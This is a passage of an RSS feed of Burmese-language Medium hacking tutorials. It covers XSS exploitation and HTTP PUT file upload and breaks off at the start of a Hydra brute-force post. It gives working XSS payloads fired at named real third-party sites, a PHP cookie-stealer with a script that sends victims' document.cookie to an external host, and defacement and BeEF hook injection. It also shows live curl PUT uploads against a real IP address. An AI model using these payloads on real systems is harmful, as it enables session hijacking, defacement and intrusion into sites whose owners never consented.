ကိုလုပ္ျပပါ့မယ္။ ခုန svg file ေလးကို upload တင္လိုက္ရင္ ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qcr4x_nyt2GPhbOi" /></figure><p>အိုေက သေဘာေပါက္ေလာက္ပါပီေနာ္။</p><p><strong>8. XML File Upload XSS</strong></p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br> &lt;Query&gt;<br> &lt;SearchTerm&gt;<br> &lt;script xmlns=”<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%3Ffbclid%3DIwAR0oV6z3Lsx1Sfj2FK2YKPU1QVq-RjvTgz7Bcvc44JJAH-301GUqwpGgsHQ&amp;h=AT2YJ0BiSuewdzDIS_NbI66ddJJrKJLhFR7FR8CK9S5hZWh0n0NZD13y-bV_ypM741RHqxUcFRYomU5m8DQPNw3brFVlzGqbtSlFcvdfvx4WG1IqgikYG0OF2E00fA">http://www.w3.org/1999/xhtml</a>&quot;&gt;<br> alert(“xss”);<br> &lt;/script&gt;<br> &lt;/SearchTerm&gt;<br> &lt;/Query&gt;</p><p>xss.xml လို့ save ထားလိုက္ပါ။</p><p>ပီးရင္ file upload တင္တဲ့ exploit ျဖစ္ျဖစ္သံုးျပီးတင္လုိက္ပီး file ဆီသြားရင္</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.vismayainfotech.com%2Fxss.xml%3Ffbclid%3DIwAR3KINUR_xB_sXhv79N_DqaVDAlDRZXa5VIIV3n_p6d0akothjhFRYldCkY&amp;h=AT10Erf5ktLjJxOrM2lcDOwKVfxPgeoEroJMEiBE6vK4_L8sppnjW6UrTyj1R_Vsk3Zs_YCC5_5uTSX1EGeAxaK1z2Ri-EcRfYn35aQTw2YD6KGl__hdmbMyC3HH0w">http://www.vismayainfotech.com/xss.xml</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SxikrxRfRJppm6vH" /></figure><p>အိုေက alert ရပီ။ နားလည္မယ္ထင္ပါတယ္ဗ်ာ</p><p><strong>9. SQL Injection To XSS</strong></p><p>က်န္ေတာ္တို့ sql injection ကေန လဲ xss alert ထုတ္လို့ရပါတယ္ ။ sql error ကေန တဆင့္ payload ထည့္ျပီး alert ထုတ္ျပစ္လို့ရပါတယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.cqfa.ca%2Fpublic%2Findex.php%3Fid%3D1%26fbclid%3DIwAR2F2G4ywLIYzjsarDD807kPUKgo8fXWFFkC4-btufxSSMA0wiWaDMhH--Y&amp;h=AT0672rCt1gjVhqRPHQ21OYspWcGrKLAl1Q7fOUcTojzq9aBqAOrxORLlQ-9WNEfujULNi-7t89KTz3P5c5SlCTzEv11bJflbm7_cE2I75A52pc6MH2HB25IF-jeXw">http://www.cqfa.ca/public/index.php?id=1</a></p><p>ေနာက္ကေန ‘ ေလးထည့္လိုက္တယ္ ခုလို sql error ေပါ္လာတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r6VC2vPOefYqQzJb" /></figure><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.cqfa.ca%2Fpublic%2Findex.php%3Fid%3D1%2527%253Cscript%253Ealert%2528%2522xss%2522%2529%253C%252Fscript%253E%26fbclid%3DIwAR1F8MG8C4hvmp1dQRA0MQPtD914dmD5KBoPv0amkcwFA26ots1hju1zwLM&amp;h=AT0nOJ_UW-QMxjfSlFsRHFTgKCsJKWJYQJZlWyRXPCzAHSBgKMMIlA8tEmD3V-Z2XzP5aYztkqFATWzpRi-BAHqeLclrDs4BHFHorqgnypuZWJ1EH95bYKrFhnhgsQ">http://www.cqfa.ca/public/index.php?id=1%27%3Cscript%3Ealert(%22xss%22)%3C/script%3E</a></p><p>xss payload ပါထည့္ေပးလိုက္တယ္ ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-XooLlGtFvAXYrEQ" /></figure><p>ဘာလို့လဲဆိုေတာ့ သူက error စတက္တဲ့ အရာရဲ့ေနာက္ကစာသားေတြကို web page မွာ ျပလိုက္လို့ပါပဲ က်န္ေတာ္တို့ payload ကခုလိုဝင္သြားတာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yTH07dH0lxhHOLso" /></figure><p><strong>10. XSS Bypass</strong></p><p>က်န္ေတာ္တို့က အျမဲ &lt;script&gt;alert(“xss”)&lt;/script&gt; နဲ့လုပ္လို့ရေနမွာ မဟုတ္ပါပု။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.bpc.gov.bd%2Fadmin%2Findex.php%3Fe%26fbclid%3DIwAR1DzjEgrPPK4iD8Blr3H--SoloTTu1gQQ89gmbFUIXK6Awf_Mrk-OUrvWI&amp;h=AT1aMB6GdkrY2Dzf8j4QIEFlXTxvCm6g0Hks7rlDLH9s6FcKbp41jd-ZP9wicj80D91fUt4-QgUqfIEfqOXeI-8tuDGGzhI6pBMWBX2SMWmU4iCtwUxiZlPOn6Ao0Q">http://www.bpc.gov.bd/admin/index.php?e=</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/0*h03KSIVoVe5SvzOX" /></figure><p>xss payload ကိုထည့္လိုက္တဲ့ ခ်ိန္မွာ 403 error တက္ပါတယ္ ။က်န္ေတာ္တို့ bypass ျကည့္မယ္။</p><p>&lt;img src=x onerror=alert(“xss”)&gt; ဆိုျပီး script ဆိုတဲ့ tag ကိုေရွာင္လိုက္ပါတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5HsCRKXTkOduYtO9" /></figure><p>သူက &lt;script&gt;&lt;/script&gt; ကို ဘန္းထားတဲ့တြက္က်န္ေတာ္တို့က image tag သံုးျပီး bypass လုပ္လုိက္ပါတယ္ ။အဒိက ကေတာ့ သူဘာကို ဘန္းထားလဲ ေသခ်ာသိမွ အဆင္ေျပမွာပါ။</p><p>အသံုးဝင္မဲ့ xss payload ေလးေတြပါ။ <a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fraw.githubusercontent.com%2FPgaijin66%2FXSS-Payloads%2Fmaster%2Fpayload.txt%3Ffbclid%3DIwAR3-GEiEuGwdzXbTq8PAJQRELOc9cw8gsGVS3elCnZt_w_J-VjPXh3N0ScE&amp;h=AT1Pc31zTUSmI8hffumFJ6YVZocMwQPi-KblHEgBHLuKl3Exxdzi0ZM3NBcmUCa4otb7Qj_onTHh-tcDg9iARiU5OrMOYm1tbnnHKvbJtsLXQknyRMkLWrcWZsZ7vw">https://raw.githubusercontent.com/Pgaijin66/XSS-Payloads/master/payload.txt</a></p><p><strong>10. XSS Cookie stealing</strong></p><p>Cookieကေနတဆင့္ username ,password, credit card ဘာညာသာရကာေတြ ေနာက္ session cookie ကေနတဆင့္ username ,password မလိုပဲ အေကာင့္ကို access ရေအာင္ထိလုပ္နိုင္ပါတယ္။ က်န္ေတာ္တို့ ပထမဆံုး cookie ေတြကို ဖမ္းဖို့ သိမ္းဖို့ php file တစ္ခုေရးရပါမယ္။</p><p>&lt;?php</p><p>$cookies = $_GET[“c”];</p><p>$file = fopen(‘log.txt’, ‘a’);</p><p>fwrite($file, $cookies . “\n”);</p><p>header (‘Location:<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fgoogle.com%2F%3Ffbclid%3DIwAR2lODGBXpiNtNH0gsE3F4ix0vfhhdhQxcNAPNGpRovv5LNr-tbGnFQxhh0&amp;h=AT1H_Vgz53J7Vnknp9EMaixd9I2Nhqxm2NCqKZS9SXM4JvD5QMQSQ9V2AlB3MtcVoMa20pqoQ1NGLOXvOUfdFA94B22cV-FBmvugFw-Ph7w1JJmHsG6GG9FEvha5sURdhfoqr8NRif4">https://google.com</a>&#39;);</p><p>?&gt;</p><p>က်န္ေတာ္တို့က GET Method သံုးျပီး cookie ကို variable တစ္ခုေနနဲ့ ဖမ္းမယ္။ ပီးေတာ့ fopen သံုးျပီး file တစ္ခုေဆာက္ျပီး အာ့ file ထဲကို ရလာတဲ့ cookie ကို သိုေလွာင္လိုက္မယ္။ ေနာက္ locationသံုးျပီး တစ္ျခားတစ္ေနရာကို ျပန္ညြွန္းလြွတ္လိုက္မယ္ ရိုးရွင္းပါတယ္။</p><p>က်န္ေတာ္တို့က အေပါ္က code ကို cookiestealer.php လို့save ျပီး hosting တစ္ခုခုမွာတင္ထားလိုက္မယ္။ျပီးရင္ က်န္ေတာ္တို့ xss ေပါက္တဲ့ေနရာမွာ</p><p>&lt;script&gt;document.location=’<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fmathcoach.htwsaar.de%2Fdrupal7%2Fsites%2Fdefault%2Ffiles%2Fcookiestealer.php%3Fc%3D%2527%2Bdocument.cookie%26fbclid%3DIwAR2QX4oCVTrOSes-RwLkb4KqkdYkkkcHTNWT_KxXB9O2pTEib8BUsUuQxN8&amp;h=AT1Kp8vX7rY9OUw7p0g355nXP9WW2QsCR3jFr7e8D6gpeGQq43-zeDBbsblgOXKXYJxQtxJ-Yjd95r0mhvX-mBIpevlHpMRmh91wNsDOvLx-vQxo-lUxYQfgl6nHbg">https://mathcoach.htwsaar.de/drupal7/sites/default/files/cookiestealer.php?c=&#39;+document.cookie</a>;&lt;/script&gt; ဆိုျပီးထည့္ျပီး target ဆီပို့လိုက္ရင္ target ကနိပ္လိုက္တာနဲ့ cookie ကိုရပါပီ။</p><p>သူကနိပ္လိုက္တာန့ဲခုလို log.txt ထဲမွာ cookie ေတြကိုျမင္ရမွာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*m45ebdfuWGRhQ9xD" /></figure><p><strong>11. XSS Defacement</strong></p><p>ဒီတစ္ခါ က်န္ေတာ္တို့ xss နဲ့ deface အုပ္တာရွင္းျပမယ္ က်န္ေတာ္တို့ တစ္ခါေလ admin panel ထဲေရာက္တယ္။ shell တင္လို့မရပု ဘာဆက္လုပ္မလဲ xss ကေနတဆင့္ deface တင္လို့ရပါတယ္။</p><p>document.documentElement.innerHTML=String.fromCharCode(“Here Deface CharCode”)</p><p>Here Deface CharCode ေနရာမွာ ထည့္ခ်င္တဲ့ deface code ေတြကို charcode ေျပာင္းျပီးထည့္ပီး deface.js လို့ save ျပီး တစ္ေနရာရာမွာ Upload တင္ထားပါ။ ျပီးရင္ က်န္ေတာ္တို့က &lt;script src=<a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fyourserver.com%2Ffile.js%3Ffbclid%3DIwAR2awotfxovcn1mgASg-JL7fGTFQjPP6U2VlBD9fJBFFDFDZ9Ym32Y3-lls&amp;h=AT2-Haf6qL_nj2dNJZWu9yN2a2_IYbbBSWOT3_uPuFq_bPAhoSraiTj7Y5TR_qSlpA8E49fqpAjbHs5cjS7OY7LunBtTUeY0YYqAtw_Sb37fKvNcP_31nV2DIPSvwQ">http://yourserver.com/file.js</a>&gt;&lt;/script&gt; ဆိုေခါ္သံုးလိုက္ပါ။</p><p>ဉပမာ တစ္ခုျပပါ့မယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fryersonindex.net%2Fsearch.php%2F%2522%253E%253Cscript%2520src%3Dhttp%3A%2F%2Fyourjavascript.com%2F8933153189%2Fteam-mnh.js%253E%253C%2Fscript%253E%3Ffbclid%3DIwAR0Zi8nKnWQOtty2SMpv2jPdRBzq2MqYbNctapB0AP2O88LGCSCwxIwXjVQ&amp;h=AT1eKE32j5jX4D43ZfVkkXYmFxydI2nXROYBY6u0LhmjKRu2Ag0opnRItWjMiyTPhemgb9etYiwJQUPPa73mixB7DovJjmsMBiWQNS4TpHRMeXZPbLbSECpZ8pZ9Og">http://ryersonindex.net/search.php/%22%3E%3Cscript%20src=http://yourjavascript.com/8933153189/team-mnh.js%3E%3C/script%3E</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BjduFylAX6mE1Lam" /></figure><p>အိုေက XSS နဲ့ Deface တတ္ေလာက္ျပီထင္တယ္။</p><h3>12. Blind XSS</h3><p>ပထမဆံုး blind xss ဆိုတာက Stored XSS အမ်ိုးစားထဲမွာ ပါပါတယ္။ က်န္ေတာ္တို့ ေပးပို့လိုက္တဲ့ input ေတြကို server က save ပါတယ္။ အာ့ server ကို ကိုင္တြယ္တဲ့ administrator တို့ user ေပါ္မွာ သက္ေရာက္မွုရွိပါတယ္။ ဉပမာ က်န္ေတာ္တို့ login log ေတြ comment ေတြ ကို admin ကဝင္ျကည့္တဲ့ အခါ က်န္ေတာ္တို့ ရဲ့ payload ေတြက အလုပ္လုပ္ျပီး admin သက္ေရာက္မွုရွိပါမယ္။ က်န္ေတာ္တို့က user-agent ေတြ refer link ေတြေနရာမွာလဲ xss payload ေတြကို အစားထိုးျပီး blind xss လုပ္လို့လဲရတယ္ေလ ။ ေနာက္ mail server ေတြ အမ်ားျကီးပါ။ဉပမာ အေနနဲ့ lab တစ္ခုသံုးျပီး လုပ္ျပပါ့မယ္။</p><p>က်န္ေတာ္ ဉပမာ လုပ္ျပမဲ့ lab ကို ဒီမွာ download လုပ္လို့ရပါတယ္။ <a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2FLunaM00n%2Fthe-andha-lab%2F%3Ffbclid%3DIwAR2sLWuE1vhmxXRcV0C0G4FHLrhZelWjFF0jVcwlCBZIeNHzxdZEqs3BzSQ&amp;h=AT2DXB6KrwKz3G2xVywdgqmI-uD2C3MyYLqzqzB5hiB3Hg_3Zb1d9flm0yRrrgyfRztB7l4Ib5miPb9hS7a1rhkZhBgka3ibxSV5NWDNMp9bnbmV7LYq3iMjT0RtQQ">https://github.com/LunaM00n/the-andha-lab/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*7WiHJzyjOTFN_S13" /></figure><p>က်န္ေတာ္တို့က website ပိုင္ရွင္ဆီစာပို့မယ္။ခုလိုမ်ိုး</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VURI9c9xP6mAvKKT" /></figure><p>သူဝင္ျကည့္လိုက္တဲ့ အခါခုလိုက်န္ေတာ္တို့ ပို့လိုက္တာကို ျမင္ရမွာပါ။က်န္ေတာ္တို့က xss payload ေတြထည့္ေပးလိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*M-Nes7t95JUzxu0t" /></figure><p>ဒါကို web master ကဝင္ျကည့္လိုက္ရင္</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iJ8J_WsAx6TszRIr" /></figure><p>ဘလာဘလာ သေဘာေပါက္မယ္ထင္ပါတယ္။သေဘာမေပါက္လဲ ကြကို ထပ္ရွာဖတ္ေတာ့ က်န္ေတာ္လဲ သိပ္မရွင္းတတ္ဘူးရယ္။</p><p><strong>13. XSS Exploitation</strong></p><p><strong>Iframe Phishing</strong></p><p>Xss ကေန Phishing လုပ္ျကည့္မယ္။က်န္ေတာ္တို့ ဒီေလာက္ထိလုပ္လို့ရနိုင္တယ္ဆိုတာ သိေစခ်င္ရံုပါ ။ XSS ဆို alert ထုတ္တာပဲလားဆိုေမးျကလို့ပါ။က်န္ေတာ္တို့ တစ္ခုဆိုတစ္ခု ဘာေတြ လုပ္နိုင္မလဲ ေသခ်ာေပါက္ေလ့လာရပါမယ္။ က်န္တာ ကိုယ္ညဏ္ရွိသလို ဆက္လုပ္ရမွာပဲေလ။စမယ္။xss ေပါက္တာအရင္ရွာလိုက္မယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.texasfailuretoappear.com%2Fsearch.php%2F%2522%253E%253Cscript%253Ealert%281%29%253C%2Fscript%253E%253C%21--%3Ffbclid%3DIwAR3neqa9aenpd_j4O8FRSoUE8NnS9TCPb4GV1llDiNIfED88wWgyY1nrga8&amp;h=AT0RX_g_QN4JbwuI0OhBIbBwZ8HKNxPwvv4Qs2KGM1QIaMeN_apeyr-hVFpNdyhsiAVCshWh4K84-B171_dCb07MWULPS4Dbv6Cx_OIaUTKIemxRPtQlEjNv89k3VQ">http://www.texasfailuretoappear.com/search.php/%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C!--</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RqFgBVe45fjiqYeX" /></figure><p>က်န္ေတာ္တို့ iframe သံုးျပီး ကိုယ္ျပခ်င္တဲ့ webpage ကို ျပလို့ရပါတယ္။ ခုလိုေပါ့</p><p>&lt;iframe width=1300 height=1000 src=<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fcxsecurity.com%2F%3Ffbclid%3DIwAR2f1ixsnZ95LVSneT0IDwJBTt1B1xh3I3dk4Se3FL45dcyfmZepCXc0ais&amp;h=AT1MRtOvyAFs7c0H5ZYK221piHi7Y8snIAV4QC6OjSaPAZ33BMKVMcwSGGn8n-FNAueJW9STlufeipWe-u0CpmWEuuYS8qvuWr7hgIDi6a1HSDbplpeu6XWLuZZ7eQ">https://cxsecurity.com/</a>&gt;&lt;/iframe&gt; ဒီpayload ကို က်န္ေတာ္တို့ သံုးမယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.texasfailuretoappear.com%2Fsearch.php%2F%2522%253E%253Ciframe%2520width%3D1300%2520height%3D1000%2520src%3Dhttps%3A%2F%2Fcxsecurity.com%2F%253E%253C%2Fiframe%253E%253C%21--%3Ffbclid%3DIwAR0uAncHz22k7FdcGez-fqRWdx0JVtCNYWsj6RCBbsUJFZC-ErYSz-CI3QY&amp;h=AT1hAT5PKev-qku6ZEM_ociamTjBjrpTMV9g6YGyfKbJWVf6PflvsBHSei9KpG_GeMug21Gx-fW491SCX96YVSkL5q7RMuyahg4h7rtfdcqqiXQnYwi6YRa7rupurw">http://www.texasfailuretoappear.com/search.php/%22%3E%3Ciframe%20width=1300%20height=1000%20src=https://cxsecurity.com/%3E%3C/iframe%3E%3C!--</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hKEDRwPoUGggm0Rz" /></figure><p>က်န္ေတာ္တို့ ဒီလိုပံုစံမ်ိုး က်န္ေတာ္တို့ phishing page ေတြကို inject ျပီး target ဆီက informationေတြ ရယူနိုင္ပါတယ္</p><p><strong>Beef-XSS Framwork</strong></p><p>Beef Xss Framework ကေတာ့ က်ေနာ္ သံုးေနျက ပဲ feature လဲစံုတယ္ သံုးရလဲ လြယ္တယ္။ က်န္ေတာ္တို့ realworldမွာသံုးမယ္ဆို vps တစ္ခုခုမွာသြင္းထားဖို့လိုမွာပါ။ က်န္ေတာ္တို့ public ipလိုအပ္လို့ပါ ။ က်န္ေတာ္ေတာ့ local မွာစမ္းျပမယ္။က်န္ေတာ္တို့ beef-xss ဆိုပီး beef service ကိုအရင္စဖြင့္လိုက္ပါတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*Z8i3hHb_codOfos-" /></figure><p>ပီးရင္က်န္ေတာ္တို့ browser မွာ <a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fvpsip%3A3000%2Fui%2Fpanel%3Ffbclid%3DIwAR08GmSmGCIE8WD9UG5LvnKsIp_lG2BObbZ3oUeSrqNLfDZneJYUVvRSm-w&amp;h=AT2TS-gV-b7nUOtTvXbySX3n_UDMF7Iqd5sI2yipv0RLkVdfyD5H591mqosct0XUVIgitEEExMX-PIdxaWZ6juSiHJTz1RrQgdTv9dGlYro9Hda_fCOlUrom2DCLrg">http://vpsip:3000/ui/panel</a> လို့သြားလိုက္မယ္။ က်န္ေတာ္ local ip က <a href="https://l.facebook.com/l.php?u=http%3A%2F%2F127.0.0.1%2F&amp;h=AT3y_5Wzgk3y9-BwC2toZS7sDnIosKonmrcurp0bJy-8vtgBCu2rONYf9UuIZsMd8zVS3e9FWiX_LxeNghoXqs_6DXztWvKYuC44M8LMuuz7-xCLdf93f0MY2y8d7A">127.0.0.1</a> ဆိုေတာ့ <a href="https://l.facebook.com/l.php?u=http%3A%2F%2F127.0.0.1%3A3000%2Fui%2Fpanel&amp;h=AT3bYcwTbLLNbtyYDci8DF2xZuEZ3o5d9CRXNXt8v695Bk_kWL0yUXwHjBqJYI-JJLRMeeKfXCP9yIth2MEF8gk21hDxjsdbuAVBvStE6fHDUrQErjmXwpBsIIb3Ow">http://127.0.0.1:3000/ui/panel</a> လို့သြားလိုက္ပါတယ္။</p><p>local မွာဆိုရင္ေတာ့ username password က beef ပဲျဖစ္ပါတယ္။ vps မွာဆိုရင္ေတာ့ သူက auto generate လုပ္ေပးပါလိမ့္မယ္ password ကို config file မွာလဲ ျပင္လို့ရပါတယ္။ /etc/beef-xss/config.yaml ထဲမွာ user passေနရာမွာကိုယ္ထားခ်င္တာလဲ ျပင္လို့ရတယ္ဗ်</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/0*59vqCi2UtWZViHU8" /></figure><p>က်န္ေတာ္တို့ loginဝင္လိုက္ပီဆိုရင္ ခုလိုေတြ့ပါလိမ့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d7C7jZvwXn1OGui1" /></figure><p>အုိေက တစ္ဝက္ေလာက္ဆင္ေျပပီ။ က်န္ေတာ္တို့ payload တစ္ခုေရးမယ္ &lt;script src=<a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fvps-ip%3A3000%2Fhook.js%3Ffbclid%3DIwAR1b6DjY3HC9fZyuRs3b93gyyOsaqfV9HtkMsk_hdVtr1rowAYEyYNVCLtE&amp;h=AT1hoW6VQsk63OtwMkjdqjGwkSUsyE4gWBth_CiTNTmR0AkTEj2PXmfaEX10AFD8tJUJFlNKzvmD0M8vTDZyLh0slcSkYWzqupKSnNCQPPPhhKvrFEEY8ta3Gqckig">http://vps-ip:3000/hook.js</a>&gt;&lt;/script&gt; vps-ip ေနရာမွာ ကို beef runထားတဲ့ ipထည့္ရမွာပါ က်န္ေတာ္က local မွာပဲဆိုေတာ့ က်န္ေတာ္ payload က &lt;script src=<a href="https://l.facebook.com/l.php?u=http%3A%2F%2F127.0.0.1%3A3000%2Fhook.js&amp;h=AT1-xWwvlsLngNW2zXvruJYPwb6hr7bS6Cnt_5tJ2JHGJt_tnQ5bxpqPnD-IsFBLSzsAgT6tuKovU7bU3KmRFKQcXw38FGIBh4y2REq4LxqFyfgB0sB3SUHAg5lnkg">http://127.0.0.1:3000/hook.js</a>&gt;&lt;/script&gt; ပါ က်န္ေတာ္ xss ေပါက္တဲ့ေနရာမွာ ထည့္ပီး target ဆီပို့လိုက္ပါမယ္။ ဒီေနရာမွာေတာ့ SE skillလိုတာေပါ့။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fryersonindex.net%2Fsearch.php%2F%3Ffbclid%3DIwAR07qP2rUilHyL5PrmobiHj2OL9RCo8GvTIX1-6rHtdD2oinGd6c4o7LxOE&amp;h=AT02DJenoJlQkVw3MVxtTMnE-FykB6ML-orEfx-P2jj_8Wk1V1ZpfE1R4r6d0lvolINytTjC4KCp1_r4g80TVvkFmuNL7UGMDDO2MHajwcc8ks-TZRt0CBtNx-2kbQ">http://ryersonindex.net/search.php/</a>&quot;&gt;&lt;script src=<a href="https://l.facebook.com/l.php?u=http%3A%2F%2F127.0.0.1%3A3000%2Fhook.js&amp;h=AT0KSdoD-xO4aT12fq-eQeIeeucBzEnWcBINEknnznHSGZcQ-MESIlWq_Mu4-VSwLebPLNJ-U-_7E6CR9TVo9hvtNWyc0KN6MCbYVzcJRkHB8O27E--JARu1xpAecQ">http://127.0.0.1:3000/hook.js</a>&gt;&lt;/script&gt;</p><p>Target ကနိပ္လိုက္ပီဆိုရင္ ခုလို hookကို ျမင္ရမွာပါ သူနိပ္လိုက္တဲ့ domainနဲ့အတူတူ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/0*Iqyx7eYykze22gVE" /></figure><p>က်န္ေတာ္တို့ အာ့ေလးကို နိပ္က်ိလိုက္ရင္ ခုလို infoေတြေတြ့ရမွာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/0*tWqFkWqmQrijg3nY" /></figure><p>ေနာက္ commands ဆိုတာကိုနိပ္က်ိလိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*Io3kvqZsM4_XdhR8" /></figure><p>က်န္ေတာ္တို့ exploit လုပ္နိုင္တာေတြအမ်ားျကီးရယ္။ ဒါေတြကေတာ့ကြကိုယ္ဆက္ေလ့လာျကေပါ့ ။ metasploit browser autopwn module နဲ့တြဲပီး browser pwn ခ်လိုက္ရင္ေတာ့ ခင္ဗ်ားတို့ save password လုပ္ထားတာေတြကုန္ပီသာမွတ္ေပေတာ့။ေက်းဇူးတင္ပါတယ္ဗ် ဖတ္ေပးတာ လိုအပ္ခ်က္ေတြရွိလဲ နားလည္ေပးပါ။ ေတြ့ရာကို link ကို မနိပ္ျကဖို့ေတာ့မွာခ်င္တာရယ္ပါ ။</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a4fc16f25ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Method Exploitation]]></title>
            <link>https://medium.com/@myominthu1337/http-method-exploitation-504344fec278?source=rss-40c6f5d5e166------2</link>
            <guid isPermaLink="false">https://medium.com/p/504344fec278</guid>
            <category><![CDATA[curl]]></category>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[put]]></category>
            <dc:creator><![CDATA[Myo Min Thu]]></dc:creator>
            <pubDate>Thu, 25 Apr 2019 02:19:56 GMT</pubDate>
            <atom:updated>2019-04-25T02:19:56.348Z</atom:updated>
            <content:encoded><![CDATA[<p>က်ေနာ္တို့ server ကို request ပို့တဲ့ အခါ http method ေတြသံုးျပီးပို့ျကရပါတယ္။ GET,POST,PUT,DELETE စသည္ျဖင့္ေပါ့ဗ်ာ ။ Method ေတြရဲ့ အေသးစိတ္ အလုပ္လုပ္ပံုကိုေတာ့ <a href="https://restfulapi.net/http-methods/">https://restfulapi.net/http-methods/</a> ဒီမာဖတ္ျကည့္လိုက္ပါ။ က်ေနာ္ တို့ အာ့ေတြရဲ့ အားနည္းခ်က္ကေန website ေတြကို attack လုပ္လို့ရပါေသးတယ္။ က်ေနာ္ကေတာ့ live hacking ပံုစံပဲ tuto လုပ္ျပတာမ်ားပါတယ္။ ခုလဲ တစ္ခု ေရြးထားတယ္ 66.218.177.248 ဒါေလးကို target ထားမယ္။</p><p>Nmap သံုးပီး ပြင့္ေနတဲ့ port ေတြ အရင္ scan ပါမယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/0*Lzs9Cf0oLAoNK2-w.png" /></figure><p>port 80,8080 ကို က်ေနာ္တို့ http method ဘယ္ဟာေတြ allow ေပးထားလဲ nmap script သံုးပီး စမ္းပါ့မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*3sDjD1ADaZaA_VTZ.png" /></figure><p>http-proxy (8080) မွာ ေတာ္ေတာ္မ်ားမ်ားကို allow ေပးထားတယ္ဗ်။Curl command နဲ့လဲ ဘာ method ေတြ allow ေပးလဲ စစ္လို့ရပါတယ္။</p><p>curl -I -X OPTIONS <a href="http://66.218.177.248:8080/">http://66.218.177.248:8080/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PXOVV2ohP5vsIthK.png" /></figure><p>PUT ဆိုတဲ့ method က file ေတြကို create လဲ လုပ္ေပးနိုင္တယ္ ..Update လဲ လုပ္လို့ရတယ္။ ဒါေျကာင့္မို့ PUT method သံုးပီး file upload တင္ျကည့္ျကမယ္။</p><p>curl -i -X PUT -H &quot;Content-Type: application/xml; charset=utf-8&quot; -d @&quot;/tmp/some-file.xml&quot; <a href="http://www.victim.com/new_file">http://target.com/new_file</a></p><p>curl -X PUT -d &quot;text or data to put&quot; <a href="http://www.victim.com/new_file">http://target.com/new_file</a></p><p>curl -i -H &quot;Accept: application/json&quot; -X PUT -d &quot;text or data to put&quot; <a href="http://victim.com/new_file">http://target.com/new_file</a></p><p>curl သံုးပီး ခုလို file ေတြ upload တင္လို့ရပါတယ္။ Text file ေလးစမ္းတင္ျကည့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*LhHmg56vwTjc0xVq.png" /></figure><p>Ok file upload တင္လို့ဆင္ေျပတယ္။cadaver ဆိုတဲ့ tools ကိုသံုးျပီး လုပ္လို့လဲ ဆင္ေျပပါတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/0*vAVSDSTYmtO2Xol2.png" /></figure><p>ဖတ္ရွုေပးတဲ့တြက္ေက်းဇူးတင္ပါတယ္ဗ်ာ …တစ္ျခား HTTP Method ေတြလဲ စမ္းျကည့္ေနာ္ … Happy Hacking….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=504344fec278" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advance Brute Force Attack Using Hydra]]></title>
            <link>https://medium.com/@myominthu1337/advance-brute-force-attack-using-hydra-b1e8b82ce2c?source=rss-40c6f5d5e166------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1e8b82ce2c</guid>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[brute-force-attack]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Myo Min Thu]]></dc:creator>
